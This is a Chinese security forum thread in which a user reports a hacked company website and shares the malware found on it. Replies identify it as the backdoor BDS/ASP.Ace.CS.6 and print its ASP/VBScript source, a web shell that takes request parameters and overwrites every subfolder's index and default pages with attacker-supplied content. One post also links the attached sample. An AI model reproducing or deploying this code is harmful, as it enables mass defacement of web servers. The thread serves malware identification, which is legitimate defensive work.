网站被黑，病毒源码在此

youba

公司网站被黑，找到了源码，打包在附件中，
请大家注意压缩包中的PW.ASP文件，这是探测器脚本，要禁用反病毒实时监控，如卡巴斯基。

SIGKILL

BDS/ASP.Ace.CS.6 Backdoor

qianwenxiang

1. 
   
2. On Error Resume Next
   
3. Set Objeto=Server.CreateObject("Scripting.FileSystemObject")
   
4. if request("t5") <> "" then
   
5. Set ObjPasta = Objeto.GetFolder(request("t5"))
   
6. end if
   
7. 
   
8. On Error Resume Next
   
9. if request("t3") <> "" then
   
10. Set ObjPasta2 = Objeto.GetFolder(request("t3"))
    
11. set ObjFso=server.CreateObject("Scripting.FileSystemObject")
    
12. var_caminho=request("t3")
    
13. For Each Pasta in ObjPasta2.Subfolders
    
14. Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "" & pasta.name & "\index.htm", 2, True, False)
    
15. ObjAbreArq.writeline request("t4")
    
16. set ObjAbreArq = nothing   
    
17. Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "" & pasta.name & "\index.html", 2, True, False)
    
18. ObjAbreArq.writeline request("t4")
    
19. set ObjAbreArq = nothing   
    
20. Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "" & pasta.name & "\index.asp", 2, True, False)
    
21. ObjAbreArq.writeline request("t4")
    
22. set ObjAbreArq = nothing   
    
23. Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "" & pasta.name & "\default.htm", 2, True, False)
    
24. ObjAbreArq.writeline request("t4")
    
25. set ObjAbreArq = nothing   
    
26. Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "" & pasta.name & "\default.html", 2, True, False)
    
27. ObjAbreArq.writeline request("t4")
    
28. set ObjAbreArq = nothing   
    
29. Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "" & pasta.name & "\default.asp", 2, True, False)
    
30. ObjAbreArq.writeline request("t4")
    
31. if err then
    
32.    response.write "<font color=red><br>Erro em: </font>" & pasta.name
    
33.    err=0
    
34. else
    
35.    response.write "<br>OK em " & pasta.name
    
36. end if   
    
37. set ObjAbreArq = nothing   
    
38. next
    
39. set ObjFso=nothing
    
40. Set ObjPasta2 = nothing
    
41. set ObjFso = nothing
    
42. end if
    

复制代码

应该报的是开头这段VBS，利用FSO写入文件的代码

njlovebb

检测到：木马程序 Backdoor.ASP.Ace.cs        URL: http://bbs.kafan.cn/attachment.p ... =1214471450//pw.asp

qigang

RS20.50.32未杀！